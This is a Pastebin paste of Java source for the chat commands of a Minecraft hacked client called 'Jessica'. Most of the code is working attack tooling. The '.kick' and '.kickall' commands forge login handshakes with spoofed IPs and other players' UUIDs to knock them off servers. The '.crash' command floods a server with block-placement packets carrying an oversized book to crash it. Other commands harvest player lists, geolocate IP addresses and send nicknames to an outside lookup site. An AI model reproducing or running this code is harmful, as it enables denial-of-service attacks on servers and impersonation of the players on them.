Advertisement
TNT_Block

Untitled

Oct 4th, 2019
493
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 14.51 KB | None | 0 0
  1. package jessica;
  2.  
  3. import com.maxmind.geoip2.DatabaseReader;
  4. import com.maxmind.geoip2.model.CityResponse;
  5. import com.maxmind.geoip2.record.City;
  6. import com.maxmind.geoip2.record.Country;
  7. import com.mojang.authlib.GameProfile;
  8. import java.io.BufferedReader;
  9. import java.io.DataOutputStream;
  10. import java.io.File;
  11. import java.io.InputStreamReader;
  12. import java.net.HttpURLConnection;
  13. import java.net.InetAddress;
  14. import java.net.URL;
  15. import java.nio.charset.Charset;
  16. import java.util.List;
  17. import java.util.Random;
  18. import jessica.gui.GuiText;
  19. import net.minecraft.client.Minecraft;
  20. import net.minecraft.client.gui.GuiIngameMenu;
  21. import net.minecraft.client.gui.GuiPlayerTabOverlay;
  22. import net.minecraft.client.multiplayer.GuiConnecting;
  23. import net.minecraft.client.network.NetHandlerLoginClient;
  24. import net.minecraft.client.network.NetHandlerPlayClient;
  25. import net.minecraft.client.network.NetworkPlayerInfo;
  26. import net.minecraft.init.Items;
  27. import net.minecraft.item.ItemStack;
  28. import net.minecraft.nbt.NBTTagCompound;
  29. import net.minecraft.nbt.NBTTagList;
  30. import net.minecraft.nbt.NBTTagString;
  31. import net.minecraft.network.EnumConnectionState;
  32. import net.minecraft.network.NetworkManager;
  33. import net.minecraft.network.handshake.client.C00Handshake;
  34. import net.minecraft.network.login.client.C00PacketLoginStart;
  35. import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
  36. import net.minecraft.util.BlockPos;
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44. public class ChatCommands
  45. {
  46.   public static String IPKick;
  47.   public static int PortKick;
  48.   public static String key;
  49.   public static String nickchange;
  50.   private static ItemStack book = new ItemStack(Items.written_book);
  51.  
  52.  
  53.  
  54.   public static void commands(final String message) {
  55.     if (message.equalsIgnoreCase(".help")) {
  56.       Wrapper.msg("", true);
  57.       Wrapper.msg("&a.creativefind - Get list of players in CREATIVE mode.", false);
  58.       Wrapper.msg("&a.playerfind - Get list all of players.", false);
  59.       Wrapper.msg("&a.kickall [IP] [Port] - Kick all players (IPWhiteList).", false);
  60.       Wrapper.msg("&a.setkick [IP] [Port] - Set IP:Port of server for kick player.", false);
  61.       Wrapper.msg("&a.kick [Nick] - Kick player.", false);
  62.       Wrapper.msg("&a.setkey [Key] - Set key for checker.", false);
  63.       Wrapper.msg("&a.check [Nick] - Check nick online.", false);
  64.       Wrapper.msg("&a.nickchange [Nick] - Hide your nick.", false);
  65.       Wrapper.msg("&a.getuuid [Nick] - Get player's UUID.", false);
  66.       Wrapper.msg("&a.getgeo [IP] - Get geolocation.", false);
  67.       Wrapper.msg("&a.crash - Attack server", false);
  68.     }
  69.    
  70.     if (message.equalsIgnoreCase(".creativefind")) {
  71.       NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
  72.       List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
  73.         .sortedCopy(connection.getPlayerInfoMap());
  74.       File txt = new File(String.valueOf(Wrapper.getFiles().getClientDir()) + "CreativeFinder\\" +
  75.           (Wrapper.mc().getCurrentServerData()).serverIP.split(":")[0] + ".txt");
  76.       if (txt.exists()) {
  77.         txt.delete();
  78.       }
  79.       for (NetworkPlayerInfo n : players) {
  80.         if (n.getGameType().isCreative()) {
  81.           Wrapper.getFiles().write(txt, n.getGameProfile().getName());
  82.         }
  83.       }
  84.       Wrapper.msg("&eList of players in &6CREATIVE MODE &esaved in file", true);
  85.       Wrapper.msg("&e" + txt.getPath(), false);
  86.     }
  87.    
  88.     if (message.equalsIgnoreCase(".playerfind")) {
  89.       NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
  90.       List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
  91.         .sortedCopy(connection.getPlayerInfoMap());
  92.       File txt = new File(String.valueOf(Wrapper.getFiles().getClientDir()) + "PlayerFinder\\" +
  93.           (Wrapper.mc().getCurrentServerData()).serverIP.split(":")[0] + ".txt");
  94.       if (txt.exists()) {
  95.         txt.delete();
  96.       }
  97.       for (NetworkPlayerInfo n : players) {
  98.         Wrapper.getFiles().write(txt, n.getGameProfile().getName());
  99.       }
  100.       Wrapper.msg("&eList of players saved in file", true);
  101.       Wrapper.msg("&e" + txt.getPath(), false);
  102.     }
  103.    
  104.     if (message.startsWith(".kickall")) {
  105.       (new Thread() {
  106.           public void run() {
  107.             try {
  108.               String[] s = message.split(" ");
  109.               int port = Integer.parseInt(s[2]);
  110.               NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
  111.               List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
  112.                 .sortedCopy(connection.getPlayerInfoMap());
  113.               for (NetworkPlayerInfo n : players) {
  114.                 if (!n.getGameProfile().getId().toString().equals(Wrapper.player().getUniqueID().toString())) {
  115.                   Random rand = new Random(); InetAddress var1 = (var1 = null).getByName(s[1]);
  116.                   GuiConnecting.networkManager2 = NetworkManager.func_181124_a(var1,
  117.                       port, (Minecraft.getMinecraft()).gameSettings.func_181148_f());
  118.                   GuiConnecting.networkManager2
  119.                     .setNetHandler(new NetHandlerLoginClient(GuiConnecting.networkManager2,
  120.                         Minecraft.getMinecraft(), new GuiIngameMenu()));
  121.                   GuiConnecting.networkManager2.sendPacket(
  122.                       new C00Handshake(47, String.valueOf(s[1]) + "\000" + "32.123." +
  123.                         String.valueOf(rand.nextInt(255)) + "." + String.valueOf(rand.nextInt(255)) +
  124.                         "\000" + n.getGameProfile().getId().toString(),
  125.                         port, EnumConnectionState.LOGIN));
  126.                   GuiConnecting.networkManager2.sendPacket(new C00PacketLoginStart(new GameProfile(null, String.valueOf(n.getGameProfile().getName()) + "B")));
  127.                   sleep(0L);
  128.                 }
  129.               }
  130.               Wrapper.msg("&eKickAll.", true);
  131.             } catch (Exception ex) {
  132.               Wrapper.msg("&cError! Correct:", true);
  133.               Wrapper.msg("&a.kickall [IP] [Port]", true);
  134.             }
  135.           }
  136.         }).start();
  137.     }
  138.    
  139.     if (message.startsWith(".setkick")) {
  140.       try {
  141.         String[] s2 = message.split(" ");
  142.         IPKick = s2[1];
  143.         PortKick = Integer.parseInt(s2[2]);
  144.         Wrapper.msg("&aKick on server: &e" + IPKick + ":" + PortKick + "&a.", true);
  145.       } catch (Exception ex) {
  146.         Wrapper.msg("&cError! Correct:", true);
  147.         Wrapper.msg("&a.setkick [IP] [Port]", true);
  148.       }
  149.     }
  150.  
  151.    
  152.     if (message.startsWith(".kick")) {
  153.       (new Thread() {
  154.           public void run() {
  155.             try {
  156.               String[] s = message.split(" ");
  157.               NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
  158.               List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
  159.                 .sortedCopy(connection.getPlayerInfoMap());
  160.               for (NetworkPlayerInfo n : players) {
  161.                 if (n.getGameProfile().getName().equals(s[1])) {
  162.                   Random rand = new Random();
  163.                   InetAddress var1 = null;
  164.                   var1 =
  165.                     InetAddress.getByName(ChatCommands.IPKick);
  166.                   GuiConnecting.networkManager2 = NetworkManager.func_181124_a(var1,
  167.                       ChatCommands.PortKick, (Minecraft.getMinecraft()).gameSettings.func_181148_f());
  168.                   GuiConnecting.networkManager2
  169.                     .setNetHandler(new NetHandlerLoginClient(GuiConnecting.networkManager2,
  170.                         Minecraft.getMinecraft(), new GuiIngameMenu()));
  171.                   GuiConnecting.networkManager2.sendPacket(
  172.                       new C00Handshake(47, String.valueOf(ChatCommands.IPKick) + "\000" + "32.123." + String.valueOf(rand.nextInt(255)) + "." + String.valueOf(rand.nextInt(255)) + "\000" + n.getGameProfile().getId().toString(),
  173.                         ChatCommands.PortKick, EnumConnectionState.LOGIN));
  174.                   GuiConnecting.networkManager2.sendPacket(new C00PacketLoginStart(n.getGameProfile()));
  175.                   Wrapper.msg("&eKick ?????? " + n.getGameProfile().getName() + ".", true);
  176.                 }
  177.               }
  178.             } catch (Exception ex) {
  179.               Wrapper.msg("&cError! Correct:", true);
  180.               Wrapper.msg("&a.kickall [IP] [Port]", true);
  181.             }
  182.           }
  183.         }).start();
  184.     }
  185.    
  186.     if (message.startsWith(".setkey")) {
  187.      
  188.       try {
  189.         key = message.split(".setkey ")[1];
  190.         Wrapper.msg("Key installed.", true);
  191.       } catch (Exception e) {
  192.        
  193.         Wrapper.msg("&cError! Correct:", true);
  194.         Wrapper.msg("&a.setkey [Key]", true);
  195.       }
  196.     }
  197.    
  198.     if (message.startsWith(".check"))
  199.     {
  200.       (new Thread() {
  201.           public void run() {
  202.             try {
  203.               Wrapper.msg("Waiting...", true);
  204.               String[] forNick = message.split(".check ");
  205.               String nick = forNick[1];
  206.               String url = "http://crashinyou.net/check_for_check.php";
  207.               URL obj = new URL(url);
  208.               HttpURLConnection con = (HttpURLConnection)obj.openConnection();
  209.              
  210.               con.setRequestMethod("POST");
  211.               con.setRequestProperty("User-Agent", "Jessica Client");
  212.               con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
  213.              
  214.               String urlParameters = "nick=" + nick + "&key=" + ChatCommands.key + "&submit=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C";
  215.              
  216.               con.setDoOutput(true);
  217.               DataOutputStream wr = new DataOutputStream(con.getOutputStream());
  218.               wr.writeBytes(urlParameters);
  219.               wr.flush();
  220.               wr.close();
  221.              
  222.               BufferedReader in = new BufferedReader(
  223.                   new InputStreamReader(con.getInputStream()));
  224.              
  225.               StringBuffer response = new StringBuffer();
  226.               String inputLine;
  227.               while ((inputLine = in.readLine()) != null) {
  228.                 response.append(inputLine);
  229.               }
  230.               in.close();
  231.              
  232.               GuiText ps = new GuiText();
  233.               ps.textArea1.setText(new String(response.toString().replace("<h2>", "").replace("</h2>", "").replace("<h4>", "\n").replace("<br/>", "\n").replace("</h4>", "").getBytes(), Charset.forName("UTF-8")));
  234.               ps.setVisible(true);
  235.             }
  236.             catch (Exception e) {
  237.              
  238.               Wrapper.msg("&cError! Correct:", true);
  239.               Wrapper.msg("&a.check [Nick]", true);
  240.             }
  241.           }
  242.         }).start();
  243.     }
  244.    
  245.     if (message.startsWith(".nickchange")) {
  246.      
  247.       try {
  248.         nickchange = message.split(".nickchange ")[1];
  249.         Wrapper.msg("Nick changed.", true);
  250.       } catch (Exception e) {
  251.        
  252.         Wrapper.msg("&cError! Correct:", true);
  253.         Wrapper.msg("&a.nickchange [Nick]", true);
  254.       }
  255.     }
  256.    
  257.     if (message.equalsIgnoreCase(".getuuid")) {
  258.       try {
  259.         String nick = message.split(".getuuid ")[1];
  260.         NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
  261.         List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
  262.           .sortedCopy(connection.getPlayerInfoMap());
  263.         for (NetworkPlayerInfo n : players) {
  264.           if (n.getGameProfile().getName().equals(nick)) {
  265.             Wrapper.msg("Waiting...", true);
  266.             GuiText ps = new GuiText();
  267.             ps.textArea1.setText(String.valueOf(nick) + " : " + new String(Wrapper.player().getUUID(n.getGameProfile()).toString().getBytes(), Charset.forName("UTF-8")));
  268.             ps.setVisible(true);
  269.           }
  270.         }
  271.       } catch (Exception e) {
  272.         Wrapper.msg("&cError! Correct:", true);
  273.         Wrapper.msg("&a.getuuid [Nick]", true);
  274.       }
  275.     }
  276.    
  277.     if (message.startsWith(".getgeo")) {
  278.      
  279.       try {
  280.         String geo = message.split(".getgeo ")[1];
  281.         File database = new File((Wrapper.mc()).mcDataDir, "Jessica/GeoIP2-City.mmdb");
  282.        
  283.         DatabaseReader reader = (new DatabaseReader.Builder(database)).build();
  284.        
  285.         InetAddress ipAddress = InetAddress.getByName(geo);
  286.        
  287.         CityResponse response = reader.city(ipAddress);
  288.        
  289.         Country country = response.getCountry();
  290.        
  291.         City city = response.getCity();
  292.        
  293.         Wrapper.msg("IP: " + geo, true);
  294.         Wrapper.msg("Country: " + country.getName(), true);
  295.         Wrapper.msg("City: " + city.getName(), true);
  296.       } catch (Exception e) {
  297.        
  298.         Wrapper.msg("&cError! Correct:", true);
  299.         Wrapper.msg("&a.getgeo [IP]", true);
  300.       }
  301.     }
  302.    
  303.     if (message.equalsIgnoreCase(".crash"))
  304.       (new Thread() {
  305.           public void run() {
  306.             try {
  307.               Wrapper.msg("&eCrashing server...", true);
  308.               NBTTagList list = new NBTTagList();
  309.               NBTTagCompound tag = new NBTTagCompound();
  310.               String author = Minecraft.getMinecraft().getSession().getUsername();
  311.               String title = "Play with me.";
  312.               String size = "wveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5";
  313.               for (int i = 0; i < 50; i++) {
  314.                
  315.                 String siteContent = size;
  316.                 NBTTagString tString = new NBTTagString(siteContent);
  317.                 list.appendTag(tString);
  318.               }
  319.               tag.setString("author", author);
  320.               tag.setString("title", title);
  321.               tag.setTag("pages", list);
  322.               book.setTagInfo("pages", list);
  323.               book.setTagCompound(tag);
  324.               while (true) {
  325.                 Wrapper.sendPacket(new C08PacketPlayerBlockPlacement(new BlockPos((Wrapper.player()).posX, (Wrapper.player()).posY - 2.0D, (Wrapper.player()).posZ), 1, book, 0.0F, 0.0F, 0.0F));
  326.                 sleep(10L);
  327.               }
  328.             } catch (Exception e) {
  329.               e.printStackTrace();
  330.               return;
  331.             }  }
  332.         }).start();
  333.   }
  334. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement